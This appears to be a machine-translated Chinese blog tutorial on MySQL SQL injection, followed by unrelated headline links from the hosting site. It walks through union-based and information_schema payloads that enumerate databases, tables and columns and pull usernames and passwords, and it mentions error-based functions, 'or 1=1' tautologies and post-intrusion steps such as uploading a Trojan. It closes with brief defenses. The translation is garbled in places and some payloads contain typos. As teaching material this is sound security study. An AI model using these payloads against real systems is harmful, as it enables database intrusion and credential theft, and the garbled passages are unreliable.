当前位置:网站首页>Penetration test --- database security: detailed explanation of SQL injection into database principle
Penetration test --- database security: detailed explanation of SQL injection into database principle
2022-07-04 16:02:00 【Cloud guest technology】
List of articles
1 Introduce
SQL Injection vulnerability is mainly due to , There is no strict filtering when requesting , Causes the incoming statement to be treated as SQL Statement executed , This causes the database to be damaged ( Removed from storage 、 Delete 、 Even the data payment authority fell )
More offensive and defensive articles : Courage steak — defense
Brave steak official website :https://lgch.xyz/
2 General steps
SQL Injection point detection
Judge where there is SQL Injection point , Usually inForms
,Article query
And other pages related to database operations .Collect background database information
Different database injection methods 、 Functions vary , Therefore, the type of database should be determined before injection .
Such as :
Special characters 、 Single quotation marks : Let the database return an error
function :
version() function :MSQL special1 and version()>0
Guess user name and password
Table name 、 Field name 、 Number of fields 、 User name and password .lookup Web Backstage management portal
have access to Directory scanning toolintrusion and damage
Log in backstage : Upload the Trojan 、 Tampering with the web 、 To steal information .
Further rights : intrusion Web Servers and database servers .
3 Inject
Test data
+---------------+----------------------------------+
| isbn | title |
+---------------+----------------------------------+
| 9787302458210 | SQL Server From entry to mastery ( The first 2 edition ) |
| 9787115496003 | Application and practice of virtualization technology |
| 9787302510109 | Algorithm design and analysis ( The first 4 edition ) |
| 9787503442490 | Mind code |
| 9787503421884 | snow wolf |
| 9787539635835 | Longtou Laotai |
+---------------+----------------------------------+
3 function
3.1 Common system functions
function | effect |
---|---|
version() | MySQL edition |
user() | Database user name |
database() | Database name |
@@datadir | Database path |
@@version_complie_os | Operating system version |
3.2 String concatenation function
Three magic weapons :concat(),group_concat(),concat_ws()
3.2.1 concat() function
characteristic :concat(str1,str2,...)
The return result is the string generated by the connection parameter , If any parameter is NULL, The return value is NULL, There can be one or more parameters .
1. Do not use character linking functions :
select isbn,title from books limit 1;
+---------------+----------------------------------+
| isbn | title |
+---------------+----------------------------------+
| 9787302458210 | SQL Server From entry to mastery ( The first 2 edition ) |
+---------------+----------------------------------+
2. Examples of use
Generally, we need to separate the items with one character , Easy to view data
select concat(isbn,',',title) from books limit 1;
+------------------------------------------------+
| concat(isbn,',',title) |
+------------------------------------------------+
| 9787302458210,SQL Server From entry to mastery ( The first 2 edition ) |
+------------------------------------------------+
3.2.2 concat_ws() function
CONCAT_WS() representative CONCAT With Separator , yes CONCAT() A special form of . The first parameter is the separator for the other parameters . The position of the separator is placed between the two strings to be connected . The separator can be a string , It can also be other parameters . If the separator is NULL, The result is NULL. The function ignores the... After any separator argument NULL value . however CONCAT_WS() No empty strings will be ignored . ( However, we will ignore all of them NULL). characteristic
:CONCAT_WS(separator,str1,str2,…)
Examples of use
3.2.3 group_concat() function
GROUP_CONCAT
Function returns a string result , The result is a combination of values in the group .
select bid,author,group_concat(bid) from books where author in(' Jin Yongxian ',' Fang Zhaoxiang Writing ') group by bid;
No demonstration ,sql The statement is like the above
4 Inject
4.1 The joint query union Inject
The premise of using joint query is that the page we inject must have display bits .
1、 Use union
payload:
v' union select username from member where id=1#%
select Must have the same columns , And the data of each column is also the same , meanwhile , Every one of them SELECT The order of the columns in the statement must be the same .
Joint query can be added at the end of the link order by X Based on random number injection , Determine the number of fields in the site according to the returned results of the page .
select bid,author from books union select username from users;
2、 payload:a' order by 4#%
select bid,author from books order by 4#%;
select bid,author from books order by 2#%;
3、 Get the main query consisting of three fields , We use it union To do one. sql Splicing .
pauload
a' union selec database(),user(),version()#%
select bid,author,title from books union selec database(),user(),version();
There is no test passed
4.2 information_schema Inject
information_schema
The database is MySQL5.0 The database of the system , It's about MySQL Information about all other databases maintained by the server .
select group_concat(schema_name) from information_schema.schemata;
Actual injection test
5.2.1 Get all databases
type :id=/wd=/name=
-1 union select 1,2,3,4,5,6,7,8,group_concat(schema_name) from information_schema.schemata
4.2.2 Get the table of the specified database
payload
a' union select table_schema ,table_name,3 from information_schema.tables where table_schema='library'
select bid,author,title from books union select table_schema ,table_name,3 from information_schema.tables where table_schema='library';
4.2.3 Get the field name of the specified table
payload
a' union select table_name,column_name,3 from information_schema.columns where table_name='users'#%
select bid,author,title from books union select table_name,column_name,3 from information_schema.columns where table_name='users';
4.2.4 Get the value of the field
payload
a' union select username ,password,3 from users#%
select bid,author,title from books union select username,password,3 from users;
4.3 Based on error information injection
This method is to display no bits on the page , however echomysql_error()
function , It can only be used when the front end outputs an error message .
The advantage is that the injection speed is fast , The disadvantage is that the statement is more complex , And only use limit Guess in turn . On the whole , Error reporting injection is actually a formulaic injection method , Mainly used to display no bits in the page , But with echomysql_error()
Use... When an error message is output . common select/insert/update/delete
Injection can use error reporting to obtain information .
4.3.1 Three common error reporting functions
updatexml(): The function is MYSQL Yes XML Document data for query and modification XPATH function
extractvalue() : The function is also MYSQL Yes XML Document data for query XPATH function .
floor(): MYSQL The function used to round in .
4.4 Digital injection
or 1=1
4.5 Search Injection
When searching in the search box , Become a search type .
The biggest difference between numeric and character injection : The numeric type does not need to be closed in single quotation marks , String types require single quotation marks .
%xxx% or 1=1 #%'
5 sql Inject defense
- Strict escaping and filtering of input
- Use parameterization (Parameterized): There are a lot of ORM The framework will automatically use parameterization to solve the injection problem , But it also provides " Splicing " The way , So you need to be careful when using !
Reference article :
https://zhuanlan.zhihu.com/p/258032596
https://www.cnblogs.com/lcamry/p/5715634.html
边栏推荐
- Quelles sont les perspectives de l'Internet intelligent des objets (aiot) qui a explosé ces dernières années?
- Go zero micro service practical series (IX. ultimate optimization of seckill performance)
- MySQL~MySQL给已有的数据表添加自增ID
- 谈SaaS下如何迅速部署应用软件
- LNX efficient search engine, fastdeploy reasoning deployment toolbox, AI frontier paper | showmeai information daily # 07.04
- Feature extraction and detection 15-akaze local matching
- 直播预告 | PostgreSQL 内核解读系列第二讲:PostgreSQL 体系结构
- Unity script API - transform transform
- Huawei cloud database DDS products are deeply enabled
- What is the future of the booming intelligent Internet of things (aiot) in recent years?
猜你喜欢
直播预告 | PostgreSQL 内核解读系列第二讲:PostgreSQL 体系结构
error: ‘connect‘ was not declared in this scope connect(timer, SIGNAL(timeout()), this, SLOT(up
干货 | fMRI标准报告指南新鲜出炉啦,快来涨知识吧
What is the catalog of SAP commerce cloud
The 17 year growth route of Zhang Liang, an open source person, can only be adhered to if he loves it
[Dalian University of technology] information sharing of postgraduate entrance examination and re examination
Case sharing | integrated construction of data operation and maintenance in the financial industry
Unity脚本常用API Day03
Dry goods | fMRI standard reporting guidelines are fresh, come and increase your knowledge
数据湖治理:优势、挑战和入门
随机推荐
The new generation of domestic ORM framework sagacity sqltoy-5.1.25 release
MYSQL索引优化
Redis' optimistic lock and pessimistic lock for solving transaction conflicts
Unity脚本API—GameObject游戏对象、Object 对象
[book club issue 13] ffmpeg common methods for viewing media information and processing audio and video files
Detailed explanation of MySQL composite index (multi column index) use and optimization cases
Actual combat | use composite material 3 in application
Unity脚本API—Component组件
165 webmaster online toolbox website source code / hare online tool system v2.2.7 Chinese version
Object distance measurement of stereo vision
%S format character
Building intelligent gray-scale data system from 0 to 1: Taking vivo game center as an example
PR FAQ: how to set PR vertical screen sequence?
Understand Alibaba cloud's secret weapon "dragon architecture" in the article "science popularization talent"
Width accuracy
Case sharing | integrated construction of data operation and maintenance in the financial industry
An article learns variables in go language
Stress, anxiety or depression? Correct diagnosis and retreatment
How did the beyond concert 31 years ago get super clean and repaired?
MySQL learning notes - data type (2)